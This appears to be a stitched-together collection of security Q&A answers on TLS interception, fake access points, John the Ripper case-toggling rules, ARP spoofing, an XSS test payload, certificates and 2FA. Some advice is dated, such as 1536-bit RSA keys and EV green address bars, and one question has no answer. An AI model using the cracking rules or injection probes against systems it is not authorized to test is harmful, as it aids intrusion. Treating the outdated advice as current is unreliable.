Sniffing an outbound HTTPS packet - only intercepted by certain software, can't decrypt

Using an HTTPS Proxy relies on the fact that you can MitM the connection by using a self-signed certificate. Effectively you can create a certificate for "*.ea.com" issued by your own CA and tell the HTTPS proxy to send it to your game, in case it tries to establish an outbound connection.

This is the normal process:

Game wants to contact ea.com
Performs a TLS handshake with ea.com
Receives a certificate saying "this public key belongs to ea.com"
Game determines whether the certificate is authentic and trusted
If no, terminate connection, otherwise send encrypted data which can only be decrypted by the owner of the private key

As soon as the game encrypts the data, you cannot decrypt it, even if you use Wireshark. Using a proxy which breaks HTTPS does this:

Game wants to contact ea.com
Tries to perform TLS handshake with ea.com
HTTPS proxy establishes the connection to ea.com itself instead
HTTPS proxy gives the self-signed certificate (which YOU have the private key for) to the game

All traffic is now decrypted and re-encrypted in the HTTPS proxy using the self-signed certificate

Game determines whether the certificate is authentic and trusted
If no, terminate connection, otherwise send encrypted data which can only be decrypted by the owner of the private key (which is YOU in this case)

Step 5 is problematic. An HTTPS proxy only works if the game relies on the OS to determine the authenticity of a certificate. In this case, you can locally install your self-signed cert and the OS happily tells the game "yup, everything is fine". If the game does some sort of HSTS- and certificate pinning technique to avoid fake-certificates and insist on an original on (or even stores the only accepted (root)certificate locally in its code), you cannot trick it in accepting a self-signed certificate (without messing with the game's code itself).

I assume this is the reason for your HTTPS proxy failing to replace the original certificate with a fake one. Your proxy does either not pick it up, as it cannot reveal the plain text or pick it up without being able to decrypt it.


Yes, I'm sure they were trying to do something fishy, although I'm not sure I would call that a "scam", technically. They were probably actually trying to gain control of your account.

Codes are sent to your phone to verify that you actually have access to that phone. If you give those kinds of codes to somebody else, then they will be able to use them to prove they have access to your phone. As a result, the attacker might be able to access your email account even with two-step/two-factor authentication, or they might be able to access your whatsapp account, as might be the case in your situation.

I found the following article that might be relevant, it sounds like the same thing except that you received the request via Facebook.

https://www.police.gov.sg/news-and-publications/media-releases/20190111_SCAMS_INVOLVING_TAKEOVER_OF_WHATSAPP_ACCOUNTS_OTHERS


Can Wifi probe requests be abused to trick clients into connecting to a fake AP?

Yes and No.

First some technicalities, there's no such things as responding "Yes, that's me" since part of the setup of an access point is to set the SSID (name of the network). This SSID is used to create some keys win WPA/2 for the connection to be established and so on. So in the probe response (which responds the probe requests) you announce the client "I'm this SSID"

YES: Somehow it may be possible for open networks

If the client has saved AP with open connection it's pretty easy, just create an access point with the same name (SSID) and voila, the client with just connect as any regular client, no questions asked. And this may be automated.

NO

Most of the cases the the network is protected with WPA/2 or WEP, which you need beforehand the passphrase (password) to generate the keys together with the SSID using PBKDF2*. So unless you own the network (defeats the purpose of a "fake AP") they can't connect to you automatically.

Taken from Wikipedia: /PBKDF2

  *For example, WPA2 uses:

  DK = PBKDF2(HMAC−SHA1, passphrase, ssid, 4096, 256)


Use John the Ripper to permutate cases in one password?

Allright, I found the solution, it's already in the john.conf file, only not easily found. I'll answer myself so people who search for this question can find the answer as well.

The needed rules are labeled [List.Rules:NT] in john.conf, so to invoke those you simply need to specify --rules=NT as a parameter when calling john.

The rules relevant for this simply toggle the case of each character for each of up to 13 chars, since longer passwords don't get lanmanager hashes, and will only have NT hashes. It's done this way:

-c T0Q
-c T1QT[z0]
-c T2QT[z0]T[z1]
-c T3QT[z0]T[z1]T[z2]
-c T4QT[z0]T[z1]T[z2]T[z3]
-c T5QT[z0]T[z1]T[z2]T[z3]T[z4]
-c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]
-c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]
-c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]
-c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]
-c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]
-c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]
-c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]
-c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC]


There is symmetric encryption where encryption and decryption use the same key (e.g. AES, 3DES), and asymmetric encryption where encryption and decryption use distinct keys, and the encryption key can be made public without disclosing the decryption key (e.g. RSA).

We use both kinds of algorithms because neither can do all that the other can do. Symmetric encryption cannot offer the "public key" thing. Asymmetric encryption implies heavy performance issues, in particular data size expansion (and there is also a matter of CPU usage, though it is in fact secondary). If we restricted ourselves to just symmetric encryption, or just asymmetric encryption, then we would lose on functionalities. We really need both.

Hybrid encryption is the commonly used terminology to designate an assembly of a symmetric encryption algorithm and an asymmetric encryption algorithm (or key exchange algorithm).


How is mailbox.org 2FA method referred to as, correctly?

I've only heard of this method being called OTP "append mode".
From what I can tell, it's a legacy / backwards-compatibility method of 2FA, for cases where an interface doesn't support adding an additional authentication step or field.
Examples include some modes of Symantec's VIP offering (used on a few major financial sites like E*TRADE; and because it's one of the earliest solutions, it uses append mode to make it easy to integrate without modifying login pages); and Duo's append mode.
From a UX perspective, it's pretty confusing for users. Unless the authentication site/context makes it very explicit how to do it, and because appending the OTP isn't intuitive (very different from the other authentication workflows most people carry out every day) ... it's very easy to forget to mess it up - to forget to append, or enter only the OTP or only the password, etc. So the support burden (user lockouts, support tickets/calls, etc.) is probably pretty high.
So it's probably better to avoid OTP appending unless there's a backwards-compatibility need. (But it's no less secure than other options, as long as the OTP is truly randomly generated and expires in a small time window.)


Sharing passwords through email can be considered insecure?

Email is insecure. Emails can be lost, misdirected, eavesdropped and faked. Sending a password by email is a big vulnerability.

"We" do it nonetheless because in some situations alternatives are just worse for usability reasons. And we apply mitigation measures:

The password is temporary and does not allow access directly; it only gives access to a "password change" interface, this time through some protected tunnel (HTTPS...).
If the temporary password has not been used within a small amount of time, it is deactivated, and an alarm is raised.
The temporary password is deactivated automatically after usage.
Users are trained to raise alarms when they fail to receive an expected password by email, or when they try to use it and find that it is already deactivated.

Using Skype messages to transmit the temporary password might be a better idea. Skype messages are less routinely eavesdropped by amateur attackers, because they are encrypted, making the spying harder (details are not published but that's still better than no encryption at all). On the other hand, there is suspicion that Skype messages are routinely inspected by some governmental agencies (of various governments) who were given some backdoor access. That way, you get to choose the kind of attacker who can spy on the temporary passwords...

Spelling out passwords by phone may be a good idea, too. Phone lines are no safer against eavesdropping than Skype, but a phone call is synchronous: you can make the user apply the temporary password and choose his new password while he is talking to you. This may greatly reduce the window of vulnerability.


OIDC - what is the point of two separate tokens - access and id?

The following link helped me to understand how what could happen if we use OAuth2's access token for authentication, which is called pseudo-authentication:
https://security.stackexchange.com/a/51903/182475

How I understand it, id token in OIDC serves just as a proof to the client application that resource owner authenticated at the Authentication server, and access token is used to tell the requesting Client application which resources the user (Resource owner) has on it (Client) and Authentication server perhaps (user info endpoint). Then client could ask the user (Resource owner) to give it access to other resources, at other Clients, and that access could be provided to the requesting Client in form of another access token or at the same time when the authentication is happening.
I think it would be helpful for you to look at my own recent question, where I provide my own questions regarding how does OIDC work and ask for validation:
Authorization on OAuth2 application that is both Client and Resource Server

And regarding ID token for an SPA, I don't see the point as well. Since SPA is just like the user (Resource Owner) himself, it is like user asked for proof of the authentication which he did himself. I think it is there just to make workflows uniform.


SSH server: What's more secure, pub key auth or Google Authenticator time-based auth?

It depends, what are you more concerned about?  Someone being able to steal your private key, or someone stealing your TOTP seeds?  That'll determine which is more likely to be compromised.

Alternatively, if your version of SSHD is new enough, you can use the AuthenticationMethods option in sshd_config to require both, with something like publickey,keyboard-interactive:pam.  This will require both a functional pubkey and the full PAM stack.

An attacker who passively observes traffic should not be able to learn anything about TOTP traffic, as its encapsulated in the SSH connection, and the SSH public key is computationally infeasible to factor for modern key lengths (ECDSA, or RSA >= 2048).


To see an explanation of typical methods of exploiting Javascript, it would be better to get a book on the subject, rather than rely on fragmentary answers here. There are many such books, for example:

"The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws" by Dafydd Stuttard, and Marcus Pinto.

"XSS Attacks: Cross Site Scripting Exploits and Defense" by Seth Fogie

If you would like a quick summary of past and known exploit types involving Javascript, you can check out MITRE's CVE (common vulnerability) database using the keyword "javascript":

MITRE CVEs involving Javascript

There are about 1,000 Javascript CVEs and perusing them will give you a complete view of the normal range of hacks using Javascript.

Perhaps a better way to approach your question, is not so much to provide a zoology of "attack types", but to understand why a web page containing Javascript is more likely to be able compromise a web client, than a page which has just plain HTML.

Javascript presents an increased security risk for two main reasons: (1) it is much more complex than HTML, and (2) it allows for more sophisticated interaction with the user, hence more opportunity to trick the user. Thus, there are two basic vulnerability surfaces, the client code and the human/social engineering factor.

When the client parses and reacts to HTML content, the range of possible actions is much more limited than the range of possible worlds that may arise after parsing and running Javascript. To protect against malicious code, the client programmer must anticipate every possible thing that could happen and avoid any bad consequences. Obviously, this is much harder to do for a computer program, than for page layout instruction.


ARP spoofing with Scapy. How does Scapy reroute traffic?

Scapy does not route the traffic, nor does it touch the traffic at all in this scenario. When you enable IP forwarding on a host, it becomes a router. When the host receives a packet not destined for one of its own addresses, its kernel will route the packet per its routing table. Since the traffic from the victim has a destination IP address not matching the attacker's machine, in most cases this will result in the traffic being forwarded on to the attacker's default gateway, which is typically the network's gateway/router.
For example, an attacker has performed a bidirectonal ARP poisoning attack. The victim thinks that the attacker's machine is the router, and the router thinks the attacker's machine is the victim's. The victim sends a packet to 8.8.8.8, which is received at the attacker's machine. The packet is not addressed to the attacker, so it is sent on to the default gateway. The response from the server behaves the same way; the router will send the packet addressed to the victim, which will go to the attacker. Again, it is not addressed to the attacker, so it is forwarded again.
You mention firewall rules being involved. A clean iptables/nftables setup has default ACCEPT for all chains. There is nothing inhibiting the above routing of packets once forwarding is turned on in the kernel, unless firewall rules have been added to prevent it.


The purpose of MAC address randomization in Wi-Fi and Bluetooth is so that probe devices cannot consistently identify user devices in their immediate vicinity. These devices do not wish to actively communicate with the devices they probe, but only to record their presence and correlate with previous sightings.
However, once a device wishes to register with a network and communicate over any higher-layer protocol (such as IP), it must present a consistent MAC address to the network so it can be associated with the higher-layer address it is assigned. Some MAC address randomization implementations revert to the hardware-encoded MAC address for this purpose, while others record a consistent MAC address per network (SSID) so that only one network knows the real MAC address the device has synthesized for its use. Regardless, a non-randomized MAC address is required for the device to participate in higher-layer communication.
With mobile telephony devices, the only way for the device to receive calls or data once it comes into range of a cell tower is to register with that cell tower, so the routing infrastructure knows where it is and can refer to the device by any higher-layer address such as a phone number or IP address. Thus it is pointless to try to randomize the IMEI or IMSI, because as with MAC addresses a consistent identifier is required to register.
The only solution to not being tracked is not to use mobile telephony; it is inherent in the provision of the service that the location of the device be known (to within a cell tower's range) at all times. About the best you can do is to separate your billing information from the phone itself by tactics such as burner phones prepaid in cash. Governments are clamping down on the ability to do this.


A (properly configured, secured protocol) VPN connection will not protect you from being "forced" to join the malicious access point, but it will prevent your communications from being eavesdropped on. The same is true for properly configured SSL / TLS.

The attacker in the KRACK attack sets up a malicious access point, which your device connects to as part of the attack (note that your device must have already connected to this device and trust it). Because your VPN tunnel encrypts communications between your device and the tunnel end point, while you may have fallen victim to joining a malicious access point all communications through that tunnel would not be susceptible to MITM attacks.


Is there a Hash Function that spit out printable ASCII character

As you say, the output of a hash function is merely a string of bits, and so not restricted to the ASCII character set.  So what you'd like to do is encode those bits more efficiently than hexadecimal encoding, which is only 50% efficient.

You should review the list of binary-to-text encoding methods on Wikipedia, but your best bet is Base 85, which is 80% efficient:

The proposed character set is, in order, 0–9, A–Z, a–z, and then
the 23 characters !#$%&()*+-;<=>?@^_`{|}~.

Here is an example of hash output being encoded both ways:

$ python3
>>> import base64
>>> import hashlib
>>> data = 'The quick brown fox jumped over the lazy dog.'
>>> m = hashlib.md5(data.encode('ascii'))
>>> base64.b16encode(m.digest())
b'5C6FFBDD40D9556B73A21E63C3E0E904'
>>> base64.b85encode(m.digest())
b'TyOi`K-pDmbD|z&!{F%z'
>>>

(note that the encoded output strings are python quoted with b'', so the first two characters and the last character are not part of the actual string)


Is it possible to to encrypt multiple messages with multiple keys and get only one cipher?

In theory yes. In practice no.

You could use one-time pad cipher like

a \xor k = b and c \xor k' = b

But this reverses the role of the key and message. b becomes the key and k/k' the cipher text. In fact you could change the XOR function to any other function, it would need the same properties and therefore have the same weaknesses.


How Hashes work

The concept behind hashes is very simple: take a message of arbitrary size, and deterministically produce a random-looking output of a given size. For a well-built cryptographic hash function, the only way to break it is to try random inputs until you get the hash value you want (collision or pre-image, etc).

Which is more secure?

All other thing being equal (ie it's the same algorithm, just with a different output size, ex.: SHA2-224 vs SHA2-512), then the larger the output of the hash, the more secure it is. Reason: if you have a 224-bit hash, then you expect an attacker to have to make 2223 guesses (on average) to break it, whereas a 512-bit has requires the attacker to make 2511 guesses (on average).

Which is more useful?

This one I can't answer for you, it depends on a lot of factors about the application that's using it. For example, whether you have memory, bandwidth, or processing constraints, whether you are able to easily upgrade your infrastructure if the 128-bit hash gets deprecated or if the solution you're setting up needs to be future-proof for 10 years, etc. With only the information you've given, I can't answer this for you.


How do US government agencies open their email attachments?

While I cannot speak for every government agency everywhere, in highly secure environments, what I have seen [unable to disclose] is:

sandbox email attachments
no attachments but authorised, attributable file upload tools

In each instance, the attachment is inspected and run in an isolated sandbox. The recipient only interacts with the file through this abstraction.

Oftentimes, the content is extracted as text and reconstructed in a structured way, wherever that is possible.


sanesecurity - clamav - getting a false positive - should I bother?

ClamAV is an opensource antivirus scanning engine: http://clamav.net/lang/en

Sanesecurity provide third party signature files for the ClamAV engine that are designed to catch phishing emails and other similar spam.

You should probably report false positives but only if you are sure that's the issue. He should be able to check his mail server logs to see that or given that Sanesecurity signatures are freely available to use, you could run the mails through the engine yourself.


The answer depends on how the page renders your payload.

If the target is a HTML page and the payload still appears as <script>alert(1)</script>, an XSS will occur, assuming no CSP or Chrome's XSS auditor. However, if the HTML page renders your payload in the URL syntax i.e. %3Cscript%3Ealert(1)%3C%2Fscript%3E, there won't be an XSS. Depending on where the payload is injected in the latter, I would also try special characters like " and ' to try escape the URL context to inject directly into the HTML (url) tag.


How are GPUs used in brute force attacks?

I'm choosing to assume you're asking why it's a risk rather than how to hack.

GPUs are very good at parallelising mathematical operations, which is the basis of both computer graphics and cryptography. Typically, the GPU is programmed using either CUDA or OpenCL. The reason they're good for brute-force attacks is that they're orders of magnitude faster than a CPU for certain operations - they aren't intrinisically smarter.

The same operations can be done on a CPU, they just take longer.


Why does SSL connection does not fail after modifying the certificate in editor like VIM or Gedit?


Is the _acme-challenge subdomain protected?

Typically, sites providing free/custom subdomains are providing A records, whereas the ACME DNS-01 challenge requires adding a TXT record. This would make what you suggest very unlikely.

If a site allows adding arbitrary TXT records for subdomains and doesn't reserve the _acme-challenge, then there's nothing in the protocol that would prevent abusing such a feature, and it would be a vulnerable service. However, that's a use case so uncommon that no-one would exclusively consider that when designing protocols like this.

Luckily, if this happens, Let's Encrypt certificates will expire in three months, and it's also possible to revoke the certificate even without access to its private key, just for cases like this:

  If someone issued a certificate after compromising your host or your
  DNS, you’ll want to revoke that certificate once you regain control.
  In order to revoke the certificate, Let’s Encrypt will need to ensure
  that you control the domain names in that certificate (otherwise
  people could revoke each other’s certificates without permission)! To
  validate this control, Let’s Encrypt uses the same methods it uses to
  validate control for issuance: you can put a value in a DNS TXT
  record or put a file on an HTTP server. - -

  Once you’ve validated control of all the domain names in the
  certificate you want to revoke, you can download the certificate
  from crt.sh, then proceed to revoke the certificate as if you had
  issued it:

certbot revoke --cert-path /PATH/TO/downloaded-cert.pem


Where is the Bitlocker key stored without the Trusted-Platform Module (TPM)?

You have an option to store the key either on a disk (protected with a password) or on USB device. If plain storage devices are used, both are susceptible to a brute force attack. See this.


What risks are introduced by the browser passing the "referer" to the next site visited from a link to another domain?

Because when computer scientists came up with HTTP protocol back in the early 1990s, they thought it was a worthwhile to include a referer field (note they even misspelled the English word referrer), so you can track who is linking to your webpages -- maybe you want to reciprocate and link back.

It is only sent if you follow a link somewhere; e.g., if you copy or type a new URL in the address bar, the HTTP Referer field will not be sent.  You should note that many [all?] browsers will still send the referer field even when you are private-browsing, because otherwise they may break websites that check against the referer field.

The same-origin policy that restricts cross domain requests only refers to restricting accessing the DOM, specifically to protect cookies and javascript from being able to control someone else's page unless specifically allowed.


Why is Kali Linux often used as a VM guest and not as the host?

In typical pentesting, Kali is just another tool, it's insecure by default, and is never recommended to be run as your primary OS without some serious baseline hardening. It's typically launched (as a virtual machine) when needed and "paused" or "stopped" when not. This helps keep your host (and files) protected.

Additionally, Kali is known to have bugs and occasionally with pentesting tools, you can bork your system. Virtual Machines allow you to take snapshots that you can revert back to in the event that you hose something.

Some people even revert after every client just to ensure that no data can leak from one organization to another because of the tester.


Is there any way to cryptographically hash a human thumbprint?

As @Xander points out, a very similar question has been asked yesterday. Indeed:

If you can derive a key from a fingerprint, then you can hash that key and get a hash value.
If you can hash a fingerprint, you can use the hash value as a key.

So they really are the same question. And the answer is: people are working on it, it does not work well yet, but might improve over years.

I would like, though, to point out something important: a "something you know" has any value for authentication only because it is also "something that the attacker does not know". It is the secrecy which confers the power.

A fingerprint, like other biometric measures, does not really work on secrecy (although many systems try to use it that way). The important characteristic of a fingerprint is that it is attached to a human: when a human being uses his own finger on a reader, he cannot help but using his own fingerprint. Indeed, that's where the innovation is in modern fingerprint readers: in the systems which try to ensure that what they are detecting is really a human finger still attached to its nominal owner's body.

Secrecy is not a big part of fingerprints for security. Your fingerprints are not secret: you leave them everywhere, on your car, on every door handle that you go through, on the elevator buttons, on every glass that you use in a bar... If a fingerprint can be turned into a key (or hash value, regardless of how you want to see it), then that key can be rebuilt offline, from any copy of one of these prints. There is very little secret here.

To sum up: even if you could reliably turn a fingerprint into a key, it would not be a good idea to use it as a secret key. It would be useful as an indexing key, though: not for security, but for performance.


Is or was it possible to register a wildcard certificate to third level subdomain?

Looking at google certificate’s, it’s now very clear…

The answer is yes of course since you can request to be a certificate authority for the domains you control…


It's not scanning for the "shellshock" exploit.  It's scanning for an older exploit where a poorly-configured server leaves a copy of the PHP interpreter in the CGI directory, permitting remote execution of arbitrary code.


What is the difference between a certificate and a private key?

Every Private Key has a corresponding Public Key. The public key is mathematically derived from the private key. These two keys, together called a "key pair", can be used for two purposes: Encryption and Signing. For the purposes of certificates, signing is far more relevant.

A certificate is basically just a public key, which has been signed by someone else's private key. This forms the basis of public key infratsucture (PKI), which is explained in the articles linked in the question.

How do Certificates and Private Keys relate?

A certificate is just a "fancy" public key, which is related to a private key. You can do the same thing with a certificate as you can do with a public key.

If Bob gets the certificate of Alice, he can encrypt a message for Alice. Likewise, if Alice publishes some data and signs it with her private key, Bob can use Alice's certificate to see if it is really from Alice.

What are all those different file types?

.pem: A .pem is a de-facto file format called Privacy-Enhanced Mail. A PEM file can contain a lot of different things, such as certificates, private keys, public keys and lots of other things. A file being in PEM format says nothing about the content, just like something being Base64-encoded says nothing about the content.
.crt, .cer: This is another pseudo-format that is commonly used to store certificates. These can either be in the PEM or in the DER format.
.p12, .pfx: These are interchangable file extensions for the PKCS#12 format. Technically, PKCS#12 is the successor to Microsoft's PFX format, but they have become interchangable. PKCS#12 files are archives for cryptographic material. Again, what kind of material this contains is completely up to the user.

Wait, what!?

Yes, .crt, .pem, .pfx and .p12 can all be used to store certificates, public keys and primary keys. From a purely technical standpoint, you can not tell what the semantic content of any of these files is just by their file extension. If you ever get confused, don't worry - you're not alone.

However, there are some common conventions that are being followed. .p12 and .pfx files are usually used to store a certificate together with the private key that corresponds to this certificate.

Likewise, .crt files usually contain single certificates without any related private key material.

.pem files are wildcards. They can contain anything, and it's not uncommon to see them used for all different kinds of purposes. Luckily, they are all plain text, and are prefixed in a human-readable way, such as

-----BEGIN CERTIFICATE-----
MIICLDCCAdKgAwIBAgIBADAKBggqhkjOPQQDAjB9MQswCQYDVQQGEwJCRTEPMA0G
A1UEChMGR251VExTMSUwIwYDVQQLExxHbnVUTFMgY2VydGlmaWNhdGUgYXV0aG9y
...

Why would an application not handle a .crt file if it wants a client certificate?

A certificate is just a public key, and thus by definition public. A client certificate is no different - just a public key by a person, machine or other "client", that is signed by some authority.

An application that wants a client certificate usually wants to use that certificate for something, such as to authenticate the client to a server. In order to do that, one needs the certificate and the corresponding private key.

So an application should really write "certificate plus private key", because the certificate alone is not enough to prove one's identity. It's actually the private key that does it.


What SSL key should I make for IIS: RSA or DH? What bit length is appropriate?

RSA and Diffie-Hellman (DH) are just two different algorithms which accomplish a similar goal.  For most purposes, there is no overwhelming reason to prefer one algorithm over another (RSA vs Diffie-Hellman).  They do have somewhat different performance characteristics.  RSA is the standard choice, and it's a fine choice.

It's hard to give a one-size-fit-all recommendation on key size, because this is likely to be dependent upon your site's security needs, and because the key size affects performance.  My default recommendation would be to use a 1536-bit RSA key.  1024-bit RSA keys should be an absolute bare minimum; however, 1024-bit RSA keys are on the edge of what might become crackable in the near term and are generally not recommended for modern use, so if at all possible, I would recommend 1536- or 2048-bit RSA keys.
Note that many CAs have recently started deprecating 1024-bit end-entity certificates, as of December 31, 2010: they may issue you a cert for a 1024-bit RSA key, for legacy purposes, if you ask, but they are encouraging people to transition to 2048-bit RSA.  Some CAs are requiring 2048-bit keys, no exceptions.  Personally, I think 2048-bit RSA is overkill for most purposes and 1536-bit RSA is probably fine, but 2048-bit RSA is accumulating some inertia.

The larger the key, the slower initial connection establishment will be.  The most likely impact is on your server's load, since the server has to do a few public-key operations for each new device that connects to it (within a 24-hour period or so).  The public-key cryptography only incurs a one-time cost, which is paid once when a connection is created (and not paid again for any new connection within about 24 hours or so); the amount of data transferred over the connection is not relevant.

So, my default suggestion would be: select a 1536-bit RSA key, then test on a typical-low end client (e.g., an iPhone) to make sure performance is OK, then test whether your server can handle the number of connections per day associated with that key size.  If you have performance problems on the server, consider a crypto accelerator to speed up your server's performance.  If you still have serious performance issues, you could consider dropping down to 1024-bit RSA.  If you have a security-critical site, like a banking site, use 2048-bit RSA.


What does "by continuing you agree to share resources" on a website mean?

It means that this website uses a Javascript cryptocurrency mining script.

The resources in question are your CPU/RAM/GPU which will be used to mine coins for the benefit of the website owner.

It's another form of website monetisation, like ads or data selling.


Do basic malware analysis.

Compare the sizes of the executable, one from the seller and one from the official site.
Submit the binary to VirusTotal, from there there are a lot of anti-virus vendors which has a library of hashes that are deemed malicious. (Sometimes it can be an unknown malware)
Download process explorer to check for potential running processes.
Check for abnormal outbound connections (netstat).

And I believe this is a benign application. Upon checking on the file system you have, there's nothing suspicious about it.


False positive SQL Injection by ZAP with adding new parameter query

ZAP is flagging a possible SQL injection attack; it doesn't have any way to know that this isn't a legit query, so it flags it for you to manually examine and check. That's pretty much the point of running it.

I had something similar happen on one of my own Spring projects: it flagged a possible injection weakness on a path that wasn't in use, and accessing that path just returned HTTP 404. That project was meant to teach myself some basic vulnerability scanning, so I just documented it as such.


Why is SYSTEM failing to grant SeTcbPrivilege?

For each of the possible privileges on a token, there are three possible states:

Enabled: The privilege is present on the token and is active.
Disabled: The privilege is present on the token, but not currently active.
Not present: The privilege was either not included when the token was created, or has been removed.

There is no way to add a privilege that the token doesn't already have. It sounds like that's what you're trying to do, though; take a token belonging to a process without SeTcbPrivilege, and add SeTcbPrivilege to it. You can't do that (not from user-mode, at least; a kernel driver presumably could). If SeTcbPrivilege is in the third state - either it wasn't there originally (because the process didn't have "Act as art of the operating system" when it was created) or it was removed by a previous call to AdjustTokenPrivileges - then what you're trying to do is impossible.

Without knowing more of what your end-goal is, I can't provide an alternative approach to the problem.


The short answer: if you own a domain you can get an certificate for that domain, period.  It's similarity to another domain is irrelevant.

The bigger question seems to be "what sort of looking at an https page do I need to do to ensure it's really the page I think it is before entering my credentials".

The short answer to that is that you should look for the address bar to turn green, indicating an EV certificate (see below).  You might consider additionally using something along the lines of the Perspectives project (site) which bypasses the CA system and it's vulnerabilities and provides an independent check.

There's some things about certificates you should know to better understand this answer:

There are in fact at least three different levels of https certificate (see here for example, and here for a more complete listing of certificate types):

Domain Validation (DV) certificates
Organizational Validation (OV) certificates
Extended Validation (EV) certificates

A DV certificate will show the padlock in your browser.  When a CA issues a DV certificate, it is asserting that the person it got this certificate from is in control of the domain name in question.  That is all.  This can be certified, for example, by an email loop to, say, webmaster@domaininquestion.com, or by the CV requesting some random information be put on a specific page of that domain.

An OV certificate requires more checking than that, and an EV certificate requires even more checking.  When issuing an EV certificate, the CA is asserting that the entity named in the certificate actually exists, and that someone at that company actually requested the certificate.  Things like DUNS number for the company are looked up and checked.

An EV certificate usually turns the address bar green in some fashion.  This gives you as much assurance as you can get from the CA system that the web server you're talking to is what you think it is (if any CA trusted by your browser has issued a fake certificate for that site you're still in trouble - hence the problem with the CA system).

Confusingly, OV certificates often do not have any special way to distinguish them from DV certificates.   Sigh.

Note that the perspectives project is not fool-proof.  I use it myself, and it consistently reports that google is being impersonated every time I connect.  This is because google changes their certificates so rapidly and has so many of them, not because of an actual attack. Still, for many sites it provides a useful double check.


Panopticlick performance for Tor Browser not great. Why?

Bits of identifying information

The quality of a fingerprint is measured by the number of "bits" of identifying information. The more bits of information your fingerprint contains, the more reliably your device can be distinguished from other devices.

These bits of information are obtained by testing how your browser behaves in different situations. For example, whether or not cookies are enabled provides one bit of information (either they are enabled, or they are not enabled).

If we assume that the testable behaviors are evenly distributed, then any configuration with n bits of information occurs with probability 1/2^n.

However, the actual math surrounding this becomes somewhat more complicated due to certain settings being more popular. For example, most users have cookies enabled because that is the default in their browser; therefore, having cookies enabled does little to distinguish you from other users. But, if you are the rare person with cookies disabled, you will be more identifiable.

Does the Tor Browser allow fingerprinting?

It is impossible to not provide any fingerprinting information because the information is collected as a boolean value: either your browser supports a feature or it does not. However, it is possible to reduce the uniqueness of that information by trying to match other users.

If you look at the user agent information in Panopticlick while using the Tor Browser, you will notice that it is pretending to be installed on the Windows operating system even when it is running on a Linux. This is because Windows is currently the most prevalent operating system worldwide. Thus, it provides the least amount of "uniqueness" to your fingerprint.

Furthermore, it is more important for Tor users to all appear identical than it is to attempt to match another fingerprint. This is because it is possible to identify that someone is using Tor by the IP address that is connecting to a website. Thus, the fact that they are a Tor user is impossible to obscure. However, if all Tor users have the same fingerprint, it remains impossible to tell which Tor user connected to your website.

Does installing add-ons help?

It depends on whether you are installing add-ons into a normal browser or the Tor Browser:

The Tor Browser: Probably not. If an add-on you install disables one feature in the Tor browser and nobody else installs this add-on, you will be the only user on the Tor network with this fingerprint. However, if the add-on is included in the Tor Browser for every user, then it might be possible to change your fingerprint characteristics for the better.
A Normal Browser: Yes, privacy add-ons can provide an enhancement over the browser's default configuration. However, the Tor Browser is better overall because it contains many modifications that are too difficult to perform via add-ons alone. Additionally, the Tor Browser has protection against more than just device fingerprinting.


Company sending Master passwords in unencrypted emails

Ridiculing them in a public fashion isn't necessarily the best approach.

  What can be done to help people who do inadvisable things but refuse fair minded advice?

Nothing.

You can show them the risks of what they are doing. You can calculate the cost of breaches because of these risks. You also have to compare them to the liklihood of a breach actually occurring. If they do nothing when you say it's going to cost $10,000 to recover from a breach that has a 67% chance of happening in the next six months, but it's only going to cost $2000 now to prevent it, there is really nothing you can do about it.

After a breach occurs they'll probably come back to you and ask to reevaluate their options, but that's an entirely different problem.


If we assume that a hash is calculated based on the drive contents, and that we trusted the drive contents to be authentic at the time of hashing, then what you're worried about is some manner of hash collision (where two different pieces of data produce the same hash).

Currently, SHA-1 attacks are only theoretical, but there's a potential they could become viable in the not-too-distant future. MD5 collisions involving SSL certificates have been demonstrated in 2008, and although MD5 is weaker than SHA-1, SHA-1 is considered weaker than the modern recommendations.

In your case, you could improve confidence by using one of the SHA-2 algorithms, such as SHA-256 or SHA-512. Or even multiple hashes; if you can afford to compute several hashes, then that would increase the difficulty of producing a useful collision.

Also, if you plan on using hashes to verify that the contents of a drive haven't been tampered with, it is vitally important that the original hash must be done in a manner that is considered trustworthy. The original hash is basically your "seal of authenticity", as it were.


Multiple Intermediate Certificates on openssl

From the documentation:

  FILE CREATION OPTIONS
  ...
  -in filename
  The filename to read certificates and private keys from, standard input by default. They must all be in PEM format. The order doesn't matter but one private key and its corresponding certificate should be present. If additional certificates are present they will also be included in the PKCS#12 file.

In other words: all the certificates should be inside the file given by the -in argument.


Are GET, POST and windows.location vulnerable to XSS in a Wordpress theme?

If you have created a pure Wordpress theme (so only CSS) then normally there should be no issues. The problem is that the GET parameter product_quantity is directly shown into the page without properly sanitizing the output. This means that when you put JavaScript within the parameter, it will be loaded into the page (as it's shown) and it will execute the script.

Now if you use the windows.location to display variables in your webpage, it can very well be that you do not sanitize these before outputting them, hence making your page vulnerable to XSS.

You can read more at OWASP.


As with many security models, a multi layered approach might be more suitable for the login use case.
Here are some suggestions:

As you already mentioned, rate limiting policies for the API would prevent attacks coming from the same client (DOS).
Implement a Proof-of-Work system in the API - see for example https://en.wikipedia.org/wiki/Hashcash. This would make it expensive for the client to calculate a hash but cheap for your server to validate.
Use CAPTCHA like Google's Recaptcha https://developers.google.com/recaptcha/docs/verify. Admittedly this helps mitigate brute-force attacks, not DDoS.
Front your API using a cloud provider then use DDoS protection service from your cloud provider to detect suspicious traffic and slows them down at the Edge before they hit your server.


Content of a penetration testing authorization

The right answer is: get a lawyer and make it airtight. When it comes to legal documents it's the same as with crypto:

Don't roll your own!

Generally these things are 10-pagers offloading the (financial) liability to the client if things go wrong. Currently you just make the CEO accept the risks but you do not offload the liability back to them.

Every company also has their rown procedures and will also have other requirements such as and can't be done with the result of the pentest. These documents are quite vast and different for each penetration test.

